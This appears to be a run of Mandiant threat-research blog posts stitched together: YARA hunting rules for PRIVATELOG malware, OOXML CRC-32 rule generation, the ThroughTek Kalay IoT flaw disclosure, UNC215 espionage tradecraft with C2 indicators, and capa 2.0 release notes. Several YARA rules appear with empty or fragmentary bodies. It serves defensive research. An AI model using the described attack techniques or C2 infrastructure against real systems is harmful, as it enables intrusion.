Figure 4 shows a fabricated container file representing a sample expected log file created by STASHLOG and loaded by PRIVATELOG.
Figure 4: Example log file created by STASHLOG
Mandiant created YARA rules to hunt for PRIVATELOG and STASHLOG as well as possible variants based on various methodologies and unique strings that they use. Rules to detect CLFS containers matching PRIVATELOG structures or containing encrypted data are also provided. These rules should be tested thoroughly before they are run in a production environment.
import "math" rule HUNTING_Win_PRIVATELOG_CLFS {
meta:
condition:
// size of data at least 0x28 for
first record
// payloadHeader.numblocks
(payloadHeader at 0x70+uint16(0x70+0x22))
// this is a size, assume it is
less than our filesize
// confirm malware using 2
different methods |
rule HUNTING_Win_CLFS_Entropy {
meta:
condition:
and for any i in (0 .. (filesize \
512) - 1) : |
rule HUNTING_Win_PRIVATELOG_1_strict {
meta:
strings:
condition: |
rule HUNTING_Win_PRIVATELOG_2_notstrict {
meta:
strings:
condition: |
rule HUNTING_Win_hijack_prntvpt {
meta:
condition: |
To complement static hunting with Yara, Mandiant also recommends hunting for similar indicators of compromise in “process”, “imageload” or “filewrite” events of typical EDR logs. These would cover cases where PRIVATELOG may resolve imports dynamically with LoadLibrary() and GetProcAddress(), versus static imports in currently known samples.
Figure 5 identifies key modules loaded by PRIVATELOG that may be used to create hunting queries: ktmw32.dll, dbghelp.dll and clfsw32.dll.
Figure 5: Memory view of a running
PRIVATELOG process
Example hunting queries include:
Concerning svchost.exe, although we have observed many cases of other svchost.exe processes loading ktmw32.dll, we have only rarely observed svchost.exe processes loading clfsw32.dll.
File writes to .regtrans-ms or .blf files are fairly common, however stacking the process name and file paths may also provide good results. For example, file writes to the registry transaction file for the default user are likely to be uncommon.
Prntvpt.dll:
1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c
Shiver.exe:
720610b9067c8afe857819a098a44cab24e9da5cf6a086351d01b73714afd397
ID | Technique |
T1012 | Query Registry |
T1564 | Hide Artifacts |
T1574 | Hijack Execution Flow |
T1574.002 | DLL Side-Loading |
T1055.013 | Process Injection: Process Doppelgänging |
Platform(s) | Detection Name |
Network Security Email Security Detection On Demand Malware Analysis File Protect | FE_APT_Loader_Win_PRIVATELOG FE_APT_Installer_Win_STASHLOG |
HX Security | Generic.mg.0c605276ff21b515 |
On Advanced Practices, we are always looking for new ways to find malicious activity and track adversaries over time. Today we’re sharing a technique we use to detect and cluster Microsoft Office documents—specifically those in the Office Open XML (OOXML) file format. Additionally, we’re releasing a tool so analysts and defenders can automatically generate YARA rules using this technique.
Beginning with Microsoft Office 2007, the default file format for Excel, PowerPoint, and Word documents switched from an Object Linking and Embedding (OLE) based format to OOXML. For now, the only part of this that’s important to understand is OOXML documents are just a bunch of folders and files packaged into a ZIP archive. Let’s look at the Word document this blog post is being written in (Figure 1), for example:
➜ file example.docx
example.docx: Microsoft Word 2007+
➜ unzip -v example.docx
Archive: example.docx
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
1445 Defl:S 358 75% 01-01-1980 00:00 576f9132 [Content_Types].xml
590 Defl:S 239 60% 01-01-1980 00:00 b71a911e _rels/.rels
1559 Defl:S 407 74% 01-01-1980 00:00 33ce17ac word/_rels/document.xml.rels
10861 Defl:S 2480 77% 01-01-1980 00:00 f0af2147 word/document.xml
8393 Defl:S 1746 79% 01-01-1980 00:00 9867f4b6 word/theme/theme1.xml
4725 Defl:S 1416 70% 01-01-1980 00:00 718205c5 word/settings.xml
655 Defl:S 295 55% 01-01-1980 00:00 bf8dd4bd word/webSettings.xml
755 Defl:S 367 51% 01-01-1980 00:00 5bf1cf49 docProps/core.xml
991 Defl:S 476 52% 01-01-1980 00:00 bad67489 docProps/app.xml
30308 Defl:S 3104 90% 01-01-1980 00:00 ce0f21cd word/styles.xml
7781 Defl:S 952 88% 01-01-1980 00:00 9f45bf02 word/numbering.xml
2230 Defl:S 559 75% 01-01-1980 00:00 63baaf8c word/fontTable.xml
-------- ------- --- -------
70293 12399 82% 12 files
Figure 1: unzip -v output for example.docx
Now, even though we used the unzip command, we didn’t actually unzip the archive. The output provided by the -v option is derived from the ZIP local file headers, which contain a wealth of information on the compressed files. Of particular interest is the CRC-32 value.
A cyclic redundancy check (CRC) is an algorithm designed to detect errors or unintended changes to data. The idea is a system can calculate a CRC value before and after a transfer or transformation of data as a simple way to ensure its integrity. For ZIP archives, the CRC-32 values confirm the decompressed files are the same as they were prior to compression. Which is great and all, but they can serve other use cases too.
Forget about error-detection. A ZIP CRC-32 value is essentially a small hash of the uncompressed file, and what better way to identify a file than by its hash? While the chance of a collision for CRC-32 is significantly higher than other algorithms such as SHA-256 or even MD5, it can be paired with additional metadata like the file name (or extension) and size to reduce false positives.
Here’s a hex dump of the first local file header from the previous example (Figure 2):
Figure 2: Hex dump of the first local
file header for example.docx
Using the CRC-32, uncompressed file size, and file name fields, a YARA rule for this entry can be written as follows:
rule content_types {
strings:
condition: |
NOTE: The numeric fields are stored in little-endian.
Advanced Practices uses this technique to find similar documents that contain the same embedded file over time. Here are a couple real-world examples:
Document: 397ba1d0601558dfe34cd5aafaedd18e
File: 0dc39af4899f6aa0a8d29426aba59314
(word\media\image1.png)
Groups: UNC1130,
UNC1837, UNC1965
rule png_397ba1d0601558dfe34cd5aafaedd18e
{
strings:
condition: |
This rule detects OOXML documents, which contain a specific PNG image seen in Figure 3.
Figure 3: PNG embedded in phishing documents
Figure 3 is found in several documents dropping LATEOP, and has been attributed to groups such as UNC1130, a North Korean state-sponsored threat actor.
Document:
252227b8701d45deb0cc6b0edad98836
File:
3bdfaf98d820a1d8536625b9efd3bb14 ([Content_Types].xml)
Groups: FIN7
rule xml_252227b8701d45deb0cc6b0edad98836
{
strings:
condition: |
This rule detects a specific [Content_Types].xml file, which is shown (formatted) in Figure 4.
Figure 4: Formatted [Content_Types].xml file
This file maps different parts of the OOXML package to their content type. Given a unique enough combination of parts and types, the [Content_Types].xml file can be a great way to find similar OOXML documents. This particular example is found in multiple FIN7 GRIFFON samples.
Last but not least, it’s time to introduce apooxml, a Python tool that can be used to quickly and easily generate YARA rules just like these. Here’s how it works:
➜ python3 apooxml.py -h Generate YARA rules for OOXML documents.
positional arguments:
optional arguments:
➜ python3 apooxml.py -o 'example.yara'
397ba1d0601558dfe34cd5aafaedd18e Enter a number corresponding to the desired entry: 7 Wrote YARA rule to example.yara.
➜ cat example.yara
strings:
condition: |
For more details, check out the repository on GitHub.
Today, Mandiant disclosed a critical risk vulnerability in coordination with the Cybersecurity and Infrastructure Security Agency (“CISA”) that affects millions of IoT devices that use the ThroughTek “Kalay” network. This vulnerability, discovered by researchers on Mandiant’s Red Team in late 2020, would enable adversaries to remotely compromise victim IoT devices, resulting in the ability to listen to live audio, watch real time video data, and compromise device credentials for further attacks based on exposed device functionality. These further attacks could include actions that would allow an adversary to remotely control affected devices.
At the time of writing this blog post, ThroughTek advertises having more than 83 million active devices and over 1.1 billion monthly connections on their platform. ThroughTek’s clients include IoT camera manufacturers, smart baby monitors, and Digital Video Recorder (“DVR”) products. Unlike the vulnerability published by researchers from Nozomi Networks in May 2021 (also in coordination with CISA), this latest vulnerability allows attackers to communicate with devices remotely. As a result, further attacks could include actions that would allow an adversary to remotely control affected devices and could potentially lead to remote code execution.
The Kalay protocol is implemented as a Software Development Kit (“SDK”) which is built into client software (e.g. a mobile or desktop application) and networked IoT devices, such as smart cameras. Due to how the Kalay protocol is integrated by original equipment manufacturers (“OEMs”) and resellers before devices reach consumers, Mandiant is unable to determine a complete list of products and companies affected by the discovered vulnerability.
This vulnerability has been assigned a CVSS3.1 base score of 9.6 and is tracked as CVE-2021-28372 and FEYE-2021-0020. This blog post discusses the Kalay network and CVE-2021-28372 at a high level. It also includes recommendations from ThroughTek and Mandiant, along with mitigation options.
Mandiant would like to thank both CISA and ThroughTek for their coordination and support in releasing this advisory.
What devices are affected, and (potentially) how many devices are affected?
The vulnerabilities described in this post affect a core component of the Kalay platform. Mandiant was not able to create a comprehensive list of affected devices; however, ThroughTek’s website reports more than 83 million active devices on the Kalay platform at the time of writing this post.
How is the issue being addressed?
Mandiant worked with ThroughTek and CISA to disclose this vulnerability and would strongly recommend companies using the Kalay platform follow the guidance provided by ThroughTek and Mandiant:
How would an attacker exploit these vulnerabilities?
An attacker would require comprehensive knowledge of the Kalay protocol and the ability to generate and send messages. The attacker would also need to obtain Kalay UIDs through social engineering or other vulnerabilities in APIs or services that return Kalay UIDs. From there, an attacker would be able to remotely compromise affected devices that correspond to the obtained UIDs.
How do I know if a device I own is affected? How do I protect myself if I own an affected device?
Mandiant was not able to create a comprehensive list of devices using the Kalay platform, but strongly encourages users of IoT devices to keep device software and applications up to date and use complex, unique passwords for any accounts associated with these devices.
Device owners should avoid connecting to affected devices from untrusted networks such as public wireless networks.
Who discovered this vulnerability?
Jake Valletta, Erik Barzdukas, and Dillon Franke.
Mandiant researchers analyzed ThroughTek’s Kalay protocol using two different approaches. First, the researchers selectively downloaded and disassembled applications from both the Google Play Store and Apple App Store that included ThroughTek libraries. These libraries typically did not contain debugging symbols, which required the team to also perform dynamic analysis with tools such as Frida, gdb, and Wireshark.
In addition, Mandiant purchased various Kalay-enabled devices. The team performed local and hardware-based attacks to obtain shell access, recover firmware images, and perform additional dynamic testing. These techniques included identifying UART/JTAG interfaces, performing chip-off attacks, and exploiting other debugging functionality present on the devices.
Over the course of several months, the researchers developed a fully functional implementation of ThroughTek’s Kalay protocol, which enabled the team to perform key actions on the network, including device discovery, device registration, remote client connections, authentication, and most importantly, process audio and video (“AV”) data. Equally as important as processing AV data, the Kalay protocol also implements remote procedure call (“RPC”) functionality. This varies from device to device but typically is used for device telemetry, firmware updates, and device control.
Having written a flexible interface for creating and manipulating Kalay requests and responses, Mandiant researchers focused on identifying logic and flow vulnerabilities in the Kalay protocol. The vulnerability discussed in this post affects how Kalay-enabled devices access and join the Kalay network. The researchers determined that the device registration process requires only the device’s 20-byte uniquely assigned identifier (called a “UID” here) to access the network. In Mandiant’s testing, this UID was typically provided to a Kalay-enabled client (such as a mobile application) from a web API hosted by the company that markets and sells a device model. Mandiant investigated the viability of brute forcing ThroughTek UIDs and found it to be infeasible due to the necessary time and resources.
Figure 1 shows a typical device registration and client connection process on the Kalay network. The example scenario is a user remotely accessing their camera feed on a mobile application from a remote network, (e.g. a coffee shop or mobile phone network) with their Kalay-enabled camera located on their home network.
Figure 1: Normal device registration and
connection process
If an attacker obtains a UID of a victim Kalay device, they can maliciously register a device with the same UID on the network and cause the Kalay servers to overwrite the existing Kalay device. Once an attacker has maliciously registered a UID, any client connection attempts to access the victim UID will be directed to the attacker. The attacker can then continue the connection process and obtain the authentication materials (a username and password) needed to access the device. Figure 2 shows a client connection attempt when both a victim device and a malicious device with the same UID exist simultaneously on the network. In this example, the malicious registration is overwriting the existing registration on the network, causing client connections to be mistakenly routed to the malicious device.
Figure 2: Attacker exploiting device
personation vulnerability to capture credentials
With the compromised credentials, an attacker can use the Kalay network to remotely connect to the original device, access AV data, and execute RPC calls. Vulnerabilities in the device-implemented RPC interface can lead to fully remote and complete device compromise. Mandiant observed that the binaries on IoT devices processing Kalay data typically ran as the privileged user root and lacked common binary protections such as Address Space Layout Randomization (“ASLR”), Platform Independent Execution (“PIE”), stack canaries, and NX bits.
Figure 3 shows a hypothetical attack utilizing the captured Kalay username and password to stage a further attack by abusing vulnerabilities in the Kalay RPC interface.
Figure 3: Attacker using captured
credentials to fetch audio/video data
The following video (Figure 4) demonstrates a functional proof of concept for CVE-2021-28372. Note that Mandiant is not releasing any public exploit code.
This blog post details the post-compromise tradecraft and operational tactics, techniques, and procedures (TTPs) of a Chinese espionage group we track as UNC215. While UNC215’s targets are located throughout the Middle East, Europe, Asia, and North America, this report focuses on intrusion activity primarily observed at Israeli entities.
This report comes on the heels of the July 19, 2021, announcements by governments in North America, Europe, and Asia and intragovernmental organizations, such as the North Atlantic Treaty Organization (NATO), and the European Union, condemning widespread cyber espionage conducted on behalf of the Chinese Government. These coordinated statements attributing sustained cyber espionage activities to the Chinese Government corroborate our long-standing reporting on Chinese threat actor targeting of private companies, governments, and various organizations around the world, and this blog post shows yet another region where Chinese cyber espionage is active.
In early 2019, Mandiant began identifying and responding to intrusions in the Middle East by Chinese espionage group UNC215. These intrusions exploited the Microsoft SharePoint vulnerability CVE-2019-0604 to install web shells and FOCUSFJORD payloads at targets in the Middle East and Central Asia. There are targeting and high level technique overlaps with between UNC215 and APT27, but we do not have sufficient evidence to say that the same actor is responsible for both sets of activity. APT27 has not been seen since 2015, and UNC215 is targeting many of the regions that APT27 previously focused on; however, we have not seen direct connection or shared tools, so we are only able to assess this link with low confidence.
In addition to data from Mandiant Incident Response and FireEye telemetry, we worked with Israeli defense agencies to review data from additional compromises of Israeli entities. This analysis showed multiple, concurrent operations against Israeli government institutions, IT providers and telecommunications entities beginning in January 2019. During this time, UNC215 used new TTPs to hinder attribution and detection, maintain operational security, employ false flags, and leverage trusted relationships for lateral movement. We believe this adversary is still active in the region.
Between 2019 and 2020, Mandiant responded to several incidents where Microsoft SharePoint vulnerability CVE-2019-0604 was used to deliver web shells, and then FOCUSFJORD payloads to select government and academic targets in the Middle East and Central Asia.
After gaining initial access, the operators conduct credential harvesting and extensive internal network reconnaissance. This includes running native Windows commands on compromised servers, executing ADFind on the Active Directory, and scanning the internal network with numerous publicly available tools and a non-public scanner we named WHEATSCAN. The operators made a consistent effort to delete these tools and remove any residual forensic artifacts from compromised systems.
In another incident response investigation, UNC215 pivoted to multiple OWA servers and installed web shells. In the following days, the operators interacted with these web shells from internal IP addresses, attempting to harvest credentials.
After identifying key systems within the target network, such as domain controllers and Exchange servers, UNC215 moved laterally and deployed their signature malware FOCUSFJORD. UNC215 often uses FOCUSFJORD for the initial stages of an intrusion, and then later deploys HYPERBRO, which has more information collection capabilities such as screen capture and keylogging. While UNC215 heavily relies on the custom tools FOCUSFJORD and HYPERBRO, Chinese espionage groups often have resource sharing relationships with other groups, and we do not have enough information to determine if these tools are developed and used exclusively by UNC215.
Figure 1: Attack Lifecycle
We identified numerous examples of efforts by UNC215 to foil network defenders by minimizing forensic evidence left on compromised hosts, exploiting relationships with trusted third parties, continuously improving the FOCUSFJORD backdoor, concealing command and control (C2) infrastructure, and incorporating false flags.
Reducing Forensic Evidence on Disk
UNC215 consistently cleaned up evidence of their intrusion after gaining access to a system. This type of action can make it more difficult for incident responders to reconstruct what happened during a compromise.
Exploiting Trust Relationships
UNC215 leveraged trusted third parties in a 2019 operation targeting an Israeli government network. As illustrated in Figure 2, the operators were able to access their primary target via RDP connections from a trusted third party using stolen credentials and used this access to deploy and remotely execute FOCUSFJORD on their primary target.
Figure 2: Two FOCUSFJORD samples
configured to proxy C2 traffic
Concealing C2 Infrastructure
UNC215 made technical modifications to their tools to limit outbound network traffic and used other victim networks to proxy their C2 instructions, likely to minimize the risk of detection and blend in with normal network traffic. The following are examples of HYPERBRO and FOCUSFJORD samples capable of acting as proxies to relay communications to their C2 servers. We do not have enough context about the following samples to attribute all of them to UNC215, though they are representative of activity we have seen from the group.
While hunting for FOCUSFJORD samples, we found a sample of a new malware (MD5: 625dd9048e3289f19670896cf5bca7d8) that shares code with FOCUSFJORD, but is distinct. However, analysis indicates that it only contains functions to relay communications between another FOCUSFJORD instance and a C2 server (Figure 2, Network A). We suspect this type of malware was used in the aforementioned operation. The actors stripped out unnecessary FOCUSFJORD capabilities, possibly to reduce the likelihood it would be detected by security controls. Figure 3 contains the data structure as it is being sent from a FOCUSFJORD sample configured to communicate with another FOCUSFJORD victim.
Figure 3: Two FOCUSFJORD samples
configured to proxy C2 traffic
FOCUSFJORD Changes
We have observed numerous variants of the FOCUSFJORD malware family since 2017. The authors have added new communications protocols, an updated loading mechanism, and expanded the number of supported configurations in newer versions. Version numbers indicate that the malware undergoes frequent changes and maybe supported by a team of developers. Many of these variants contain or remove functionality depending on the operator’s unique requirements at the time, which may suggest that multiple operators have access to the source code or a builder, or that a close relationship exists between the developers and operators.
FOCUSFJORD samples can be configured with up to 13 unique registry values which allow operators to control and organize compromised hosts. In addition to specifying details related to the loading and persistence mechanisms and C2 communications, there are two keys which allow the operator to add additional context about the victim:
It is not clear how or if UNC215 uses these configuration parameters to organize and track large numbers of compromised hosts. We observed different console values within the same network, identical console values using different C2 addresses, and identical console values targeting different countries. Some FOCUSFJORD samples from 2018 and 2020 use the same console values despite the significant gap in time (See Table 1).
Registry Key 13 | FOCUSFJORD MD5 Hash | Related C2 | Suspected Target |
helen | 3d95e1c94bd528909308b198f3d47620 | 139.59.81.253 | Israel |
helen | f335b241652cb7f7e736202f14eb48e9 | 139.59.81.253 | Israel |
helen | a0b2193362152053671dbe5033771758 | 139.59.81.253 | Israel |
helen | 6a9a4da3f7b2075984f79f67e4eb2f28 | 139.59.81.253 | Kazakhstan |
helen | a19370b97fe64ca6a0c202524af35a30 | 159.89.168.83 | Iran |
helen | 3c1981991cce3b329902288bb2354728 | 103.59.144.183 | Unknown |
iceland | 26d079e3afb08af0ac4c6d92fd221e71 | 178.79.177.69 | UAE |
iceland | 19c46d01685c463f21ef200e81cb1cf1 | 138.68.154.133 | UAE |
iceland | 28ce8dbdd2b7dfd123cebbfff263882c | 138.68.154.133 | Unknown |
iceland | a78c53351e23d3f84267e67bbca6cf07 | 206.189.123.156 | Israel (Gov), UAE |
iceland | a78c53351e23d3f84267e67bbca6cf07 | 206.189.123.156 | Israel (IT) |
idapro | a78c53351e23d3f84267e67bbca6cf07 | 206.189.123.156 | Israel (IT) |
galway | 04c51909fc65304d907b7cb6c92572cd | 159.65.80.157 | Unknown |
galway | 0e061265c0b5998088443628c03188f0 | 159.65.80.157 | Unknown |
galway | 09ffc31a432f646ebcec59d32f286317 | 159.65.80.157 | Unknown |
galway | 6ca8993b341bd90a730faef1fb73958b | 128.199.44.86 | Unknown |
Helen * | Unknown | 46.101.255.16 | Iran |
Helen * | Unknown | 178.79.143.78 | Iran |
Idapro * | Unknown | 138.68.154.133 | Iran |
Table 1: FOCUSFJORD comparison (note: the * entries are from public reporting and have not been verified by Mandiant)
False Flags
Artifacts in UNC215 campaigns often contain foreign language strings that do not match the country being targeted and may be intended to mislead an analyst examining the malware. Additionally, on at least three occasions, UNC215 employed a custom tool associated with Iranian actors whose source code was leaked.
The use of Farsi strings, filepaths containing /Iran/, and web shells publicly associated with Iranian APT groups may have been intended to mislead analysts and suggest an attribution to Iran. Notably, in 2019 the government of Iran accused APT27 of attacking its government networks and released a detection and removal tool for HYPERBRO malware.
Tradecraft Mistakes
While UNC215 prioritizes evading detection within a compromised network, Mandiant identified several examples of code, C2 infrastructure, and certificate reuse indicating that UNC215 operators are less concerned about defenders’ ability to track and detect UNC215 activity.
Mandiant attributes this campaign to Chinese espionage operators which we track as UNC215 a Chinese espionage operation that has been suspected of targeting organizations around the world since at least 2014. We have low confidence that UNC215 is associated with APT27. UNC215 has compromised organizations in the government, technology, telecommunications, defense, finance, entertainment, and health care sectors. The group targets data and organizations which are of great interest to Beijing's financial, diplomatic, and strategic objectives.
The activity detailed in this post demonstrates China’s consistent strategic interest in the Middle East. This cyber espionage activity is happening against the backdrop of China’s multi-billion-dollar investments related to the Belt and Road Initiative (BRI) and its interest in Israeli’s robust technology sector.
China has conducted numerous intrusion campaigns along the BRI route to monitor potential obstructions—political, economic, and security—and we anticipate that UNC215 will continue targeting governments and organizations involved in these critical infrastructure projects in Israel and the broader Middle East in the near- and mid-term.
ID | Technique |
T1003.001 | OS Credential Dumping: LSASS Memory |
T1007 | System Service Discovery |
T1010 | Application Window Discovery |
T1012 | Query Registry |
T1016 | System Network Configuration Discovery |
T1021.001 | Remote Services: Remote Desktop Protocol |
T1027 | Obfuscated Files or Information |
T1033 | System Owner/User Discovery |
T1055 | Process Injection |
T1055.003 | Process Injection: Thread Execution Hijacking |
T1055.012 | Process Injection: Process Hollowing |
T1056.001 | Input Capture: Keylogging |
T1057 | Process Discovery |
T1059.001 | Command and Scripting Interpreter: PowerShell |
T1059.003 | Command and Scripting Interpreter: Windows Command Shell |
T1070.004 | Indicator Removal on Host: File Deletion |
T1070.006 | Indicator Removal on Host: Timestomp |
T1071.001 | Application Layer Protocol: Web Protocols |
T1078 | Valid Accounts |
T1082 | System Information Discovery |
T1083 | File and Directory Discovery |
T1087 | Account Discovery |
T1090 | Proxy |
T1095 | Non-Application Layer Protocol |
T1098 | Account Manipulation |
T1105 | Ingress Tool Transfer |
T1112 | Modify Registry |
T1113 | Screen Capture |
T1115 | Clipboard Data |
T1133 | External Remote Services |
T1134 | Access Token Manipulation |
T1140 | Deobfuscate/Decode Files or Information |
T1190 | Exploit Public-Facing Application |
T1199 | Trusted Relationship |
T1202 | Indirect Command Execution |
T1213 | Data from Information Repositories |
T1482 | Domain Trust Discovery |
T1489 | Service Stop |
T1497 | Virtualization/Sandbox Evasion |
T1497.001 | Virtualization/Sandbox Evasion: System Checks |
T1505.003 | Server Software Component: Web Shell |
T1518 | Software Discovery |
T1543.003 | Create or Modify System Process: Windows Service |
T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
T1553.002 | Subvert Trust Controls: Code Signing |
T1559.002 | Inter-Process Communication: Dynamic Data Exchange |
T1560 | Archive Collected Data |
T1564.003 | Hide Artifacts: Hidden Window |
T1569.002 | System Services: Service Execution |
T1573.002 | Encrypted Channel: Asymmetric Cryptography |
T1574.002 | Hijack Execution Flow: DLL Side-Loading |
T1583.003 | Acquire Infrastructure: Virtual Private Server |
T1588.003 | Obtain Capabilities: Code Signing Certificates |
T1608.003 | Stage Capabilities: Install Digital Certificate |
The following indicators have been seen in use with the noted malware families, but not all have been confirmed to be used by UNC215.
Type | Value | Description |
IP | 85.204.74.143 | HYPERBRO C2 |
IP | 103.79.78.48 | HYPERBRO C2 |
IP | 89.35.178.105 | HYPERBRO C2 |
IP | 47.75.49.32 | HYPERBRO C2 |
IP | 139.59.81.253 | FOCUSFJORD C2 |
IP | 34.65.151.250 | FOCUSFJORD C2 |
IP | 159.89.168.83 | FOCUSFJORD C2 |
IP | 103.59.144.183 | FOCUSFJORD C2 |
IP | 141.164.52.232 | FOCUSFJORD C2 |
FireEye detects this activity across our platforms.
Platform(s) | Detection Name |
|
|
Endpoint Security |
|
Helix |
|
The FLARE team is once again
hosting its annual Flare-On challenge, now in its eighth year. Take
this opportunity to enjoy some extreme social distancing by solving
fun puzzles to test your mettle and learn new tricks on your path to
reverse engineering excellence. The contest will begin at 8:00 p.m. ET
on Sept. 10, 2021. This is a CTF-style challenge for all active and
aspiring reverse engineers, malware analysts, and security
professionals. The contest runs for six full weeks and ends at 8:00
p.m. ET on Oct. 22, 2021.
This year’s contest will consist of 10 challenges and feature a variety of formats, including Windows, Linux, and JavaScript. This is one of the only Windows-centric CTF contests out there and we have crafted it to represent the skills and challenges our FLARE team faces.
If you smash your way through all 10 challenges, you will receive a prize and permanent recognition on the Flare-On website to honor your greatness. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. Prior year’s prizes were belt buckles, a replica police badge, a challenge coin, a medal, a massive pin, and a cyber-styled skeleton key.
Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon8.
We are excited to announce version 2.0 of our open-source tool called capa. capa automatically identifies capabilities in programs using an extensible rule set. The tool supports both malware triage and deep dive reverse engineering. If you haven’t heard of capa before, or need a refresher, check out our first blog post. You can download capa 2.0 standalone binaries from the project’s release page and checkout the source code on GitHub.
capa 2.0 enables anyone to contribute rules more easily, which makes the existing ecosystem even more vibrant. This blog post details the following major improvements included in capa 2.0:
capa explorer is an IDAPython plugin that shows capa results directly within IDA Pro. The version 2.0 release includes many additions and improvements to the plugin, but we'd like to highlight the most exciting addition: capa explorer now helps you write new capa rules directly in IDA Pro!
Since we spend most of our time in reverse engineering tools such as IDA Pro analyzing malware, we decided to add a capa rule generator. Figure 1 shows the rule generator interface.
Figure 1: capa explorer rule generator interface
Once you’ve installed capa explorer using the Getting Started guide, open the plugin by navigating to Edit > Plugins > FLARE capa explorer. You can start using the rule generator by selecting the Rule Generator tab at the top of the capa explorer pane. From here, navigate your IDA Pro Disassembly view to the function containing a technique you'd like to capture and click the Analyze button. The rule generator will parse, format, and display all the capa features that it finds in your function. You can write your rule using the rule generator's three main panes: Features, Preview, and Editor. Your first step is to add features from the Features pane.
The Features pane is a tree view containing all the capa features extracted from your function. You can filter for specific features using the search bar at the top of the pane. Then, you can add features by double-clicking them. Figure 2 shows this in action.
Figure 2: capa explorer feature selection
As you add features from the Features pane, the rule generator automatically formats and adds them to the Preview and Editor panes. The Preview and Editor panes help you finesse the features that you've added and allow you to modify other information like the rule's metadata.
The Editor pane is an interactive tree view that displays the statement and feature hierarchy that forms your rule. You can reorder nodes using drag-and-drop and edit nodes via right-click context menus. To help humans understand the rule logic, you can add descriptions and comments to features by typing in the Description and Comment columns. The rule generator automatically formats any changes that you make in the Editor pane and adds them to the Preview pane. Figure 3 shows how to manipulate a rule using the Editor pane.
Figure 3: capa explorer editor pane
The Preview pane is an editable textbox containing the final rule text. You can edit any of the text displayed. The rule generator automatically formats any changes that you make in the Preview pane and adds them to the Editor pane. Figure 4 shows how to edit a rule directly in the Preview pane.
Figure 4: capa explorer preview pane
As you make edits the rule generator lints your rule and notifies you of any errors using messages displayed underneath the Preview pane. Once you've finished writing your rule you can save it to your capa rules directory by clicking the Save button. The rule generator saves exactly what is displayed in the Preview pane. It’s that simple!
We’ve found that using the capa explorer rule generator significantly reduces the amount of time spent writing new capa rules. This tool not only automates most of the rule writing process but also eliminates the need to context switch between IDA Pro and your favorite text editor allowing you to codify your malware knowledge while it’s fresh in your mind.
To learn more about capa explorer and the rule generator check out the README.
As we wrote hundreds of capa rules and inspected thousands of capa results, we recognized that the tool sometimes shows distracting results due to embedded library code. We believe that capa needs to focus its attention on the programmer’s logic and ignore supporting library code. For example, highly optimized C/C++ runtime routines and open-source library code enable a programmer to quickly build a product but are not the product itself. Therefore, capa results should reflect the programmer’s intent for the program rather than a categorization of every byte in the program.
Compare the capa v1.6 results in Figure 5 versus capa v2.0 results in Figure 6. capa v2.0 identifies and skips almost 200 library functions and produces more relevant results.
Figure 5: capa v1.6 results without
library code recognition
Figure 6: capa v2.0 results ignoring
library code functions
So, we searched for a way to differentiate a programmer’s code from library code.
After experimenting with a few strategies, we landed upon the Fast Library Identification and Recognition Technology (FLIRT) developed by Hex-Rays. Notably, this technique has remained stable and effective since 1996, is fast, requires very limited code analysis, and enjoys a wide community in the IDA Pro userbase. We figured out how IDA Pro matches FLIRT signatures and re-implemented a matching engine in Rust with Python bindings. Then, we built an open-source signature set that covers many of the library routines encountered in modern malware. Finally, we updated capa to use the new signatures to guide its analysis.
capa uses these signatures to differentiate library code from a programmer’s code. While capa can extract and match against the names of embedded library functions, it will skip finding capabilities and behaviors within the library code. This way, capa results better reflect the logic written by a programmer.
Furthermore, library function identification drastically improves capa runtime performance: since capa skips processing of library functions, it can avoid the costly rule matching steps across a substantial percentage of real-world functions. Across our testbed of 206 samples, 28% of the 186,000 total functions are recognized as library code by our function signatures. As our implementation can recognize around 100,000 functions/sec, library function identification overhead is negligible and capa is approximately 25% faster than in 2020!
Finally, we introduced a new feature class that rule authors can use to match recognized library functions: function-name. This feature matches at the file-level scope. We’ve already started using this new capability to recognize specific implementations of cryptography routines, such as AES provided by Crypto++, as shown in the example rule in Figure 7.
Figure 7: Example rule using
function-name to recognize AES via Crypto++
As we developed rules for interesting behaviors, we learned a lot about where uncommon techniques are used legitimately. For example, as malware analysts, we most commonly see the cpuid instruction alongside anti-analysis checks, such as in VM detection routines. Therefore, we naively crafted rules to flag this instruction. But, when we tested it against our testbed, the rule matched most modern programs because this instruction is often legitimately used in high-optimized routines, such as memcpy, to opt-in to newer CPU features. In hindsight, this is obvious, but at the time it was a little surprising to see cpuid in around 15% of all executables. With the new FLIRT support, capa recognizes the optimized memcpy routine embedded by Visual Studio and won’t flag the embedded cpuid instruction, as it's not part of the programmer’s code.
When a user upgrades to capa 2.0, they’ll see that the tool runs faster and provides more precise results.
To provide the benefits of python-flirt to all users (especially those without an IDA Pro license) we have spent significant time to create a comprehensive FLIRT signature set for the common malware analysis use-case. The signatures come included with capa and are also available at our GitHub under the Apache 2.0 license. We believe that other projects can benefit greatly from this. For example, we expect the performance of FLOSS to improve once we’ve incorporated library function identification. Moreover, you can use our signatures with IDA Pro to recognize more library code.
Our initial signatures include:
Identifying and collecting the relevant library and object files took a lot of work. For the older VS versions this was done manually. For newer VS versions and the respective open-source projects we were able to automate the process using vcpgk and Docker.
We then used the IDA Pro FLAIR utilities to convert gigabytes of executable code into pattern files and then into signatures. This process required extensive research and much trial and error. For instance, we spent two weeks testing and exploring the various FLAIR options to understand the best combination. We appreciate Hex-Rays for providing high-quality signatures for IDA Pro and thank them for sharing their research and tools with the community.
To learn more about the pattern and signature file generation check out the siglib repository. The FLAIR utilities are available in the protected download area on Hex-Rays’ website.
Since the initial release, the community has more than doubled the total capa rule count from 260 to over 570 capability detection rules! This means that capa recognizes many more techniques seen in real-world malware, certainly saving analysts time as they reverse engineer programs. And to reiterate, we’ve surfed a wave of support as almost 30 colleagues from a dozen organizations have volunteered their experience to develop these rules. Thank you!
Figure 8 provides a high-level overview of capabilities capa currently captures, including:
Figure 8: Overview of capa rule categories
More than half of capa’s rules are associated with a MITRE ATT&CK technique including all techniques introduced in ATT&CK version 9 that lie within capa’s scope. Moreover, almost half of the capa rules are currently associated with a Malware Behavior Catalog (MBC) identifier.
For more than 70% of capa rules we have collected associated real-world binaries. Each binary implements interesting capabilities and exhibits noteworthy features. You can view the entire sample collection at our capa test files GitHub page. We rely heavily on these samples for developing and testing code enhancements and rule updates.
